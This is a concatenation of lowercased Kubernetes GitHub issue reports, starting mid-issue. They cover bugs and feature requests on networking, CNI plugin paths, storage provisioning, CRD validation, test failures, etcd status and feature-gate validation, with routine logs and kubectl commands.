baeb1c9e-f518-4bf4-bc18-01b3e0c8406c\ ,\ images\ :13,\ containers\ :3}\r    \r \r   what happened  :\r triton doesn't support any docker api networking options:\r    \r e0120 18:06:13.647188 2104 pod_workers.go:184  error syncing pod 83fe05f0-df38-11e6-83c4-90b8d0e7b5d4, skipping: failed to \ startcontainer\  for \ nginx\  with runcontainererror: \ runcontainer: error response from daemon:  notimplemented  container networking is not supported is not implemented  56ea4b66-3df9-4118-992c-dc600aab081d \ \r    \r \r   what you expected to happen  :\r since i specifically set  network-plugin=\ \   i was hoping that would prevent a network field from being passed to the docker api.\r \r   how to reproduce it    as minimally and precisely as possible :\r manual setup steps at https://github.com/joejulian/kubernetes-the-hard-way/tree/joyent\r \r   anything else do we need to know  :\r \r

what happened  :\r jenkins bazel test  among other fail when type defaulting is used . \r \r   what you expected to happen  :\r success for jenkins bazel test & successful test using ./hack/run.sh make test \r \r   how to reproduce it    as minimally and precisely as possible :\r this pr https://github.com/kubernetes/kubernetes/pull/41950 ci/cd fails because of an issue in roundtrip-ing. this verification will become successful if type defaulting code is removed specifically this if-statement https://github.com/khenidak/kubernetes/blob/6e151a595210cf8659d496149c9bca2c53e0157f/pkg/api/v1/defaults.go l265 \r \r the error produced by the verification test  is consistent and can be found here https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41950/pull-kubernetes-bazel/12522/ \r \r   anything else we need to know  :\r all logs for multiple attempts to work around that can be found in the pr page.  \r

currently the garbage collector does not handle non-core apis, like the apis created via thirdparty resource or via the aggregated apiserver.\r \r to support the non-core apis, garbage collector needs to:\r   dynamically adjust the resources it watches for   here  https://github.com/kubernetes/kubernetes/blob/v1.6.1/pkg/controller/garbagecollector/garbagecollector.go l98  \r   use a dynamic restmapper when translating kind to resourse   here  https://github.com/kubernetes/kubernetes/blob/v1.6.1/pkg/controller/garbagecollector/operations.go l37

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r the documentation in  staging/src/k8s.io/api/extensions/v1beta1/types.go  does not follow the guidelines for user facing documentation outlined  here  https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md edit-typesgo . specifically,\r > comments for types should not contain the type name; api documentation is generated from these comments and end-users should not be exposed to golang type names.\r \r an example in extentions/v1beta1 would be the  podsecuritypolicyspec  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/extensions/v1beta1/types.go l911 \r \r cc @bgrant0607

problem statement:   \r it's normal for folks to build clusters in an air-gap'd environment.  in these environments access to the wider internet is strictly forbidden.  we've known that there are several tests in the test suite require internet connectivity e.g. xref: https://github.com/kubernetes/kubernetes/pull/51287 , and this poses a problem for folks wanting to validate their cluster.  \r \r   proposed solution:  \r 1.  create a predefined  tag/label  that can easily skip these tests for this type of environment \r 2. create a framework function that detects and auto-skips tests that are known to require internet connectivity \r \r /cc @kubernetes/sig-testing-feature-requests

it's very annoying to see the pd deletion error every time.      2015/03/13 11:22:53 running: teardown project: kubernetes-satnam zone: us-central1-b shutting down test cluster in background. deleted  https://www.googleapis.com/compute/v1/projects/kubernetes-satnam/global/firewalls/e2e-test-satnam-minion-e2e-test-satnam-http-alt . bringing down cluster using provider: gce project: kubernetes-satnam zone: us-central1-b deleted  https://www.googleapis.com/compute/v1/projects/kubernetes-satnam/global/firewalls/e2e-test-satnam-fluentd-elasticsearch-logging . current-context: \ kubernetes-satnam_e2e-test-satnam\  running: /usr/local/google/home/satnam/gocode/src/github.com/googlecloudplatform/kubernetes/hack/e2e-internal/../../cluster/gce/../../cluster/../cluster/../cluster/gce/../../cluster/../cluster/../cluster/gce/../../cluster/../_output/local/bin/linux/amd64/kubectl delete services elasticsearch-logging elasticsearch-logging current-context: \ kubernetes-satnam_e2e-test-satnam\  running: /usr/local/google/home/satnam/gocode/src/github.com/googlecloudplatform/kubernetes/hack/e2e-internal/../../cluster/gce/../../cluster/../cluster/../cluster/gce/../../cluster/../cluster/../cluster/gce/../../cluster/../_output/local/bin/linux/amd64/kubectl delete services kibana-logging kibana-logging bringing down cluster managed instance group e2e-test-satnam-minion-group is being deleted. operation: operation-1426271047002-10bb8ce2-31b5-47fd-9598-14b16721555b deleted  https://www.googleapis.com/compute/v1/projects/kubernetes-satnam/global/instancetemplates/e2e-test-satnam-minion-template . updated  https://www.googleapis.com/compute/v1/projects/kubernetes-satnam/zones/us-central1-b/instances/e2e-test-satnam-master . deleted  https://www.googleapis.com/compute/v1/projects/kubernetes-satnam/zones/us-central1-b/instances/e2e-test-satnam-master . error:  gcloud.compute.disks.delete  some requests did not succeed:  - the resource 'projects/kubernetes-satnam/zones/us-central1-b/disks/e2e-test-satnam-master-pd' was not found

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r testgrid: http://k8s-testgrid.appspot.com/sig-storage gce-serial\r test logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/3317\r \r

we have a memory-cached discovery client in  client-go/discovery/cached/memcache.go .\r \r we have a disk-cached discovery client in  client-go/discovery/cached_discovery.go .\r \r we should cleanup the directory structure.\r \r  \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r when creating crd, we could add a webhook for crd validation in addition to openapi v3 schema, e.g.\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: crontabs.stable.example.com\r spec:\r   group: stable.example.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: crontabs\r     singular: crontab\r     kind: crontab\r   validation:\r     webhook: http://10.0.0.2/validate\r    \r \r when users create crs, apiserver sends it to the webhook for validating. and webhook returns  true  or  false . the webhook could be implemented in corresponding crd controller. \r \r   why is this needed  :\r \r i'd like to take our use case for example.\r \r we create a crd, its spec contains  pod . as we know there are so many fields in  pod , it will take a lot of effort to write validation for each filed, but if not, users might specify wrong value for some fields, then the controller will not work because it will failed to list crs. \r \r at last, i find there is an auto generator for crd validation schema https://github.com/kubernetes/kubernetes/issues/59154, xref \r  https://github.com/kubernetes/kube-openapi/pull/37 . it is really cool! it will works well after it is done. however i think we might also benefit from webhook validation as following:\r \r   if there are many fields in crd for validating, it might be more intuitive and concise to validate in webhook, e.g. we could simply write following code to validate it:\r \r    \r func validate data   byte  bool {\r        var crd mycrd\r        return json.unmarshal data, &crd  != nil\r }\r    \r   we could add more validation for values, e.g. we could scope an int value to 1~10. not sure whether openapi v3 schema could do it .\r

what would you like to be added  :\r latency of volume operations like provisioning a volume has been evaluated as following:\r 1. for in-tree implementation, latency is recorded only for one-retry loop which could be not accurate, i.e., when the first retry actually fails while the following attempt succeeded.\r 2. via csi, as its async nature, i.e.  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/persistentvolume/pv_controller.go l1404 , the call for provisioning will return immediately and making the latency metrics recording at  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/persistentvolume/pv_controller.go l1348  url  not accurate.\r \r this issue has been brought up in  https://github.com/kubernetes/kubernetes/issues/75782  url , creating a separate issue to track the effort for enhance it in the current controller after discussion with @msau42 as itself seems to be big enough.\r \r within this enhancement, looking to have two stages:\r 1. provide accurate volume provisioning/deletion latency metrics for csi workflow\r 2. discuss with sig/storage to see whether it is worth enhancing existing in-tree implementation\r \r   why is this needed  :\r to provide more accurate volume operation latency metrics for provisioning/deletion for a better user experience.\r

this is a follow up from  1161.  i use a bare-metal installation of coreos and kubernetes, and would like to define an external  i.e. arbitrary  ip and port for which kubernetes receives traffic and directs it to the associated pods. i can arrange for all nodes in the kubernetes cluster to be physically connect to the right switches and thus have the possibility to receive traffic for that external ip. this seems like a very simple form of load balancing to me. how can i do it with kubernetes?  alternatively: is it possible to make pods listen on a certain external  i.e. arbitrary  ip, in addition to the internal cluster ip? that way i could setup my own load balancer or \ public\  service.

in order to 1. an example of external authorizations / authentication in the upstream kube repo that can provide more sophisticated behavior than the simple checked in code 2. to prove that we can integrate 3rd party extension apis in a clean way that do not live in the kube codebase  via reuse of a shared 3rd party library, verify discovery works, prevent refactorings from breaking 3rd parties   we're looking to split the origin policy engine  supporting full namespace auth and user facing apis  and origin user/group resources  supporting ldap, integration with 3rd party github, etc  into their own project that can be easily integrated with kube.  to do this, there are some up front questions that need to be answered: 1. do we want to encourage kube ecosystem pieces to be in the  kubernetes/  github organization?    1. how do we add ecosystem pieces to a regular flow  build, test, e2e  without being in the org and having some control?    2. how do we appropriately label contributions that may overlap? 2. do we want to encourage kube ecosystem pieces to be focused on usefulness, or on clear decomposition?  put another way, how willing are we to accept ecosystem parts that may be coupled  like any uaa server  together, but which breaking up may not make technical sense?  one plan might be 1. ensure the upstream apiserver libraries are present for easily building a new client api server 2. create a  kubernetes/kubernetes-uaa-server  project that contains the extracted components from openshift, marked as \ ecosystem project\ , reusing those libraries and exposing a set of new apigroups to kube 3. add a kubernetes plugin for authz/authn to the kube repo and e2e tests that validate that kubernetes-uaa continues to run and serve auth even when we iterate on kube 4. manage the  kubernetes-uaa-server  project as one possible way to run auth, integrated with kube, documenting and describing it but making it clear that it is not part of the core.  develop a set of processes for curating projects like this that are not part of the core, but reuse the same tools and patterns.  @bgrant0607 @liggitt @pweil- @ncdc @erictune

$ ./cluster/kube-down.sh bringing down cluster using provider: gce you have specified individual components to update.  if you are trying  to install new components, use:   $ gcloud components install alpha  do you want to run install instead  y/n ?  n   all components are up to date. you have specified individual components to update.  if you are trying  to install new components, use:   $ gcloud components install beta  do you want to run install instead  y/n ?  n   all components are up to date.  all components are up to date. project: xxx zone: us-central1-b bringing down cluster ... cleared config for xxxx from /users/robertbailey/.kube/config done      then an immediate kube-up:      $ ./cluster/kube-up.sh  ... starting cluster using provider: gce ... calling verify-prereqs you have specified individual components to update.  if you are trying  to install new components, use:   $ gcloud components install alpha  do you want to run install instead  y/n ?  n   all components are up to date. you have specified individual components to update.  if you are trying  to install new components, use:   $ gcloud components install beta  do you want to run install instead  y/n ?  n   all components are up to date.  all components are up to date. ... calling kube-up project: xxx zone: us-central1-b +++ staging server tars to google storage: gs://kubernetes-staging-9f55a0cda4/devel +++ kubernetes-server-linux-amd64.tar.gz already staged  'rm ./cluster/../cluster/../cluster/gce/../../cluster/../_output/release-tars/kubernetes-server-linux-amd64.tar.gz.uploaded.sha1' to force  +++ kubernetes-salt.tar.gz already staged  'rm ./cluster/../cluster/../cluster/gce/../../cluster/../_output/release-tars/kubernetes-salt.tar.gz.uploaded.sha1' to force  looking for already existing resources persistent disk kubernetes-kube-system-kube-registry found. would you like to shut down the old cluster  call kube-down ?  y/n

so the  dns service discovery  http://kubernetes.io/docs/user-guide/services/ dns  in kubernetes is awesome. it encourages simplicity on the container image developer to just use simple service names to discover and communicate with services which then works in whatever namespace your pod is running.  the consumer of a docker image thats using dns service discovery may decide they wish to use a side car container to do service discovery/load balancing/retry/circuit breakers/monitoring though. e.g. via something like https://traefik.io/ or some other reverse proxy to get different load balancing algorithms or behaviour. to enable a proxy we need to move away from the dns discovery, so rather than calling  http://foo/  we'd need to call  http://localhost:1234  to talk to the proxy. this results in needing to change the docker image code to swizzle the url.   it would be really cool if we could do this swizzling via dns,  /etc/hosts  or  /etc/resolv.conf  in some way purely in the kubernetes manifest. i.e. without changing the docker image at all we could configure the pod to talk not to the  foo  service ip address but instead talk to some 127.0.1.2 ip address which the sidecar listens on.  so some kind of annotations or whatever in the pod resource would instruct the kubelet to setup the right /etc/hosts or dns resolver.  this would mean that the  foo  name resolves differently in the pod with this configuration or other pods; but it would provide a slick developer experience; letting developers reuse off the shelf docker containers that are easy to compose; the choice of using a side car load balancer/reverse proxy is down to the manifest author.  one alternative is to move away from dns discovery and only ever use  environment variable discovery  http://kubernetes.io/docs/user-guide/services/ environment-variables ; a colleague tells me dns is the solution to all problems so that would make him sad ;   anyone got any other ideas or approaches to make the use of sidecar load balancers a little easier  so its purely configured in the manifest and doesn't bleed into the docker images ?

the performance of list-watch takes an effect on the real-time event perceiving of kubernetes client side, such as scheduler, controller manager, kubelet etc.  i have some ideas about speeding up list-watch in api server side.  1. as @hongchaodeng metioned  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/etcd3/watcher.go l212 , we can use etcd newest api support prevkv in put/delete operations  to avoid extra get   when transform etcd event. afaik, we can't introduce the api until cores/rkt upgrades its grpc package of its api service. however, good news is that rkt has upgraded it about a week ago. so, it's time to introduce etcd's newest feature? 2. concurrently transform event to speed up list-watch server side processing event. we can spawn multiple goroutines to do the  procedure  https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/etcd3/watcher.go l189  concurrently. of course, we should keep the order.  what's your option?  @hongchaodeng @xiang90 @wojtek-t

i'm able to get kubernetes 1.3.4 running by downloading the binary from the releases, then:      $ export kubernetes_provider=vagrant $ ./cluster/kube-up.sh      once completed i'm able to use kubectl and get to the dashboard using kubectl proxy.  now, how can i make changes to the api server configuration?  i found /etc/kubernetes/manifests/kube-apiserver.manifest but once i edit it, whats the correct way to restart the api-server?  is there an external file i can edit?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cni vendor, vendordirprefix\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r \r   what you expect to happen  :\r cni plugins are loaded with  \ \   vendorcnidirprefix  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/cni/cni.go l91 \r \r it would be great if it was exposed as a flag in kubelet.\r \r use case:\r hyperkube runs kubelet in a container and cni plugin's vendordir needs to be mounted at boot. it would allow a custom path to be used for cni plugin's vendordir ex.  /cni_plugins/opt/ /bin .\r \r /cc: @aaronlevy \r

a new issue is introduced in pull-kubernetes-federation-e2e-gce,  build-9117  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46979/pull-kubernetes-federation-e2e-gce/9117/?log log  onwards, where in the failure message is as below\r    \r w0605 21:18:36.221  error from server  badrequest : container \ apiserver\  in pod \ e2e-f8n-agent-pr-93-0-apiserver-2905553699-lg7b8\  is waiting to start: trying and failing to pull image\r    \r after analyzing, i find that the image which is built and pushed is different than the one used for bringing up federation.\r what caused this change is yet to be ascertained. most probably the introduction of  kubernetes_release  env variable in the pull job by test-infra.\r \r /cc @kubernetes/sig-federation-bugs

https://k8s-testgrid.appspot.com/release-1.7-blocking gce-gpu-1-7\r \r they started failing around 07/07/2017.\r \r @vishh @davidopp

kubemark-scale has been failing since run 506  almost 5 days now . both load and density tests are failing some requests to create/scale/delete rcs and services with msgs like these:\r \r    \r i0707 15:36:44.057  jul  7 15:36:44.056: info: unexpected error occurred: error creating replication controller: post https://104.198.188.213/api/v1/namespaces/e2e-tests-load-30-nodepods-20-4cts4/replicationcontrollers: stream error: stream id 37; internal_error\r ...\r i0707 18:51:04.466  jul  7 18:51:04.465: info: unexpected error occurred: error while scaling rc load-small-6613 to 4 replicas: scaling the resource failed with: put https://104.198.188.213/api/v1/namespaces/e2e-tests-load-30-nodepods-14-q0dvg/replicationcontrollers/load-small-6613: stream error: stream id 185; internal_error; current resource version 14448933\r ...\r i0708 02:13:34.688  jul  8 02:13:34.687: info: unexpected error occurred: delete https://104.198.188.213/api/v1/namespaces/e2e-tests-load-30-nodepods-26-z9shq/services/load-small-12625-svc: stream error: stream id 74505; internal_error\r    \r \r cc @kubernetes/sig-scalability-misc @gmarek @wojtek-t

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when using heketi and glusterfs to provision persistent volumes  pvs , the created pvs are not deleted despite a reclaimpolicy of  delete  and remain in the status  failed .\r \r   what you expected to happen  :\r \r the pvs to be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a cluster with heketi and register an appropriate storageclass  e.g.  glusterfs   for it in kubernetes - it is helpful to have access to the heketi-server-logs and crank up the  log-level to debug  https://github.com/heketi/heketi/wiki/running-the-server \r   create a persistentvolumeclaim:\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: example\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ glusterfs\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r    \r   make sure that an appropriate and dynamically provisioned persistentvolume is created with a reclaimpolicy of  delete  by running  kubectl get pv \r   also observe that the heketi-server-log will show the appropriate rest-calls needed to create the glusterfs-volumes\r   now delete the pvc:  kubectl delete pvc example \r \r   expected result  \r \r   the heketi-server should show some communication from kubernetes, but does  not \r   check that the pv is now gone   expected  :  kubectl get pvc \r   observe that the pvc is not gone but stays in the status  failed  via  kubectl get pv  instead of  being deleted \r \r    \r name                                       capacity   accessmodes   reclaimpolicy   status    claim                      storageclass   reason    age\r pvc-5ac9a25a-794a-11e7-9040-c8600054be05   2gi        rwo           delete          failed    default/example            glusterfs                1h\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.0\r - heketi version: 4.0\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : ubuntu-16.04\r - kernel  e.g.  uname -a  : 4.8.0-58-generic  63~16.04.1-ubuntu\r - install tools: kubeadm\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r i'm writing e2e tests for kubernetes that i do not plan to check into the kubernetes repository. they test special cases of calico-specific features so it would not make sense for them to get checked into the upstream kubernetes repo.\r \r i've managed to import most of the necessary testing libraries from kubernetes into my code, but i am unable to \r access any of the  unexported helper methods for networking tests  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network/network_policy.go l316-l539 .\r \r   what you expected to happen  :\r \r i'm wondering if my approach is valid, or if there is another way to write external kubernetes e2e tests.\r \r i see a few solutions here.\r \r 1. fork the entire kubernetes repo and add my tests to the e2e package. i'd prefer not to do this as i'd then have to manage rebases and merges instead of managing vendor dependencies.\r 2. copy the methods i need into my own tests. i'd prefer not to do this as it duplicates code.\r 2. export the methods i need so that my tests can use them.\r 3. export the methods i need and move them out of the e2e package and into a more appropriate helper package  like  framework  or a new  network_utils  package maybe? \r \r the methods i need include  cleanupnetworkpolicy ,  createnetworkclientpod ,  cleanupserverpodandservice ,  createserverpodandservice ,  testcannotconnect , &  testcanconnect .\r \r i'm of course willing to implement this change but wanted to discuss the best approach first.\r \r cc  i think : @cmluciano @pipejakob @danwinship

 \r  what happened  :\r when requesting a pod creation with alpha.kubernetes.io/nvidia-gpu specified, i was hoping that the creation is a failure because i didn't enable the accelerators feature gate. however, it succeeded. the pod is stuck in pending status which is fine.\r \r   what you expected to happen  :\r i'm expecting that a pod requesting gpu will be rejected when its container resource requirements are validated. having the gpu usage guarded by the feature gate will help cleaning removing it in future when device plugin stabilizes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r disable accelerators feature gate and create a pod with gpu request or limit, the pod is successfully created. it means that the feature gate is not doing its job.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r according to https://github.com/kubernetes/features/issues/284, some volumes e.g. aws, nfs, ceph  has already supported pv resizing, need to add pv resize support for azure file\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r pv resize doc is here:\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/grow-volume-size.md\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when using  kubectl cp  the target file has an incorrect name.\r \r strangely enough, this shouldn't be possible.\r \r   what you expected to happen  :\r \r the target file has the name i specified.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl cp ./my-file.tar.gz my-pod:/data/bar.tar.gz\r    \r \r ... the file will actually appear as  data/my-file.tar.gz \r \r   anything else we need to know?  :\r \r related to  40869\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a gi\r t tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }                              \r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittr\r eestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }                    \r    \r \r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : gentoo\r - kernel  e.g.  uname -a  :  4.12.12-gentoo \r - install tools: minikube\r

i see the following kubectl describe message on a pod \r \r    \r  normal   sandboxchanged         3m  x8 over 3m   kubelet, hostname.net  pod sandbox changed, it will be killed and re-created.\r    \r \r further digging into the kubelet logs, i see the following\r    \r error response from daemon: {\ message\ :\ no available ipv4 addresses on this network's address pools: bridge  872bba0c06bf6f65e6185240b5b6\r    \r it will be so much more awesome if we can actually display this helpful message in the events for that pod.  sandboxchanged to a cluster administrator has no meaning\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.14\ , gitcommit:\ d1303b003001cf2b5b8cec099383125096b3dac0\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:24:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.14\ , gitcommit:\ d1303b003001cf2b5b8cec099383125096b3dac0\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i am trying to use a custom directory for cni plugins, but kubelet ignores --cni-bin-dir parameter and tries to find plugins in the default one.\r \r  failedcreatepodsandbox  2s    kubelet, test-stg-k8s-master-0  failed create pod sandbox: rpc error: code = unknown desc = failed to setup network for sandbox \ 3e98cec42d687001e6718b8291c19e8fef37ec8b0c5a8fb0abe5e39e32f1c885\ : failed to find plugin \ loopback\  in path  /opt/cni/bin  \r \r   what you expected to happen  :\r kubelet finds plugins in the custom directory\r   how to reproduce it  as minimally and precisely as possible   :\r --cni-bin-dir=/opt/bin\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r hi team,\r \r i have a single node kubernetes cluster running. everything working fine, but when i run the \ kubectl get cs\   kubectl get componentstatus  it showing two instance of etcd. i have running a single etcd instance.\r \r  root@master01 vagrant   kubectl get cs\r name                 status    message              error\r controller-manager   healthy   ok\r scheduler            healthy   ok\r etcd-0               healthy   {\ health\ : \ true\ }\r etcd-1               healthy   {\ health\ : \ true\ }\r \r  root@master01 vagrant   etcdctl member list\r 19ef3eced66f4ae3: name=master01 peerurls=http://10.0.0.10:2380 clienturls=http://0.0.0.0:2379 isleader=true\r \r  root@master01 vagrant   etcdctl cluster-health\r member 19ef3eced66f4ae3 is healthy: got healthy result from http://0.0.0.0:2379\r cluster is healthy\r \r etcd is running as a docker container. in the /etc/systemd/system/etcd.service file single etcd cluster is mentioned. http://10.0.0.10:2380 \r \r /usr/local/bin/etcd \\\r     --name master01 \\\r     --data-dir /etcd-data \\\r     --listen-client-urls http://0.0.0.0:2379 \\\r     --advertise-client-urls http://0.0.0.0:2379 \\\r     --listen-peer-urls http://0.0.0.0:2380 \\\r     --initial-advertise-peer-urls http://10.0.0.10:2380 \\\r     --initial-cluster master01=http://10.0.0.10:2380 \\\r     --initial-cluster-token my-token \\\r     --initial-cluster-state new \\\r \r also in the api server config file /etc/kubernetes/manifests/api-srv.yaml --etcd-servers flag is used.\r \r  --etcd-servers=http://10.0.0.10:2379,\r \r  root@master01 manifests   netstat -ntulp |grep etcd\r tcp6       0      0 :::2379                 :::                     listen      31109/etcd\r tcp6       0      0 :::2380                 :::                     listen      31109/etcd\r \r any one know why it showing etcd-0 and etcd-1 in \ kubectl get cs\  ?. any help is appreciated.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.4\r - etcd: version \r v3.1.11\r \r 

what happened  :\r 1. we used to run k8s1.9, which has volume subpath feature enabled.\r  https://kubernetes.io/docs/concepts/storage/volumes/ using-subpath\r \r then user create pods with volume subpath.\r user's pods have finalizers.\r \r 2. since we met many issues with this feature at k8s 1.9.  \r related link: https://github.com/kubernetes/kubernetes/issues/61563\r we decide to disable this feature when we upgrade to k8s 1.10\r \r 3. after we upgrade to k8s 1.10, some of the pods which use volumepath feature are still running on the cluster. it has subpath field in their pod spec, but now  we can't remove the pod's finalizer,  because of\r \r    \r err:pod \\\ api-xxxx\\\  is invalid: spec.containers 0 .volumemounts.subpath: forbidden: subpath is disabled by feature-gate\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-10-18t18:48:25.343285188z\ \r    \r 4. so the pod will stuck at terminating and can't be deleted.\r \r   what you expected to happen  :\r the pod can be deleted. \r the api validation should handle this case.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. in the cluster, enable volume subpath feature\r 2. create a pod with this feature.\r 3. add a finalizer to the pod\r 4. disable this feature \r 5. delete the pod , and remove the finalizer manually\r 6. pod stuck at  terminating \r  \r   anything else we need to know?  :\r i think issue should happens for many of the features , not just volume subpath\r @msau42 's comments is valuable for solve this kind of issue.\r https://github.com/kubernetes/kubernetes/pull/65829 issuecomment-432441449\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

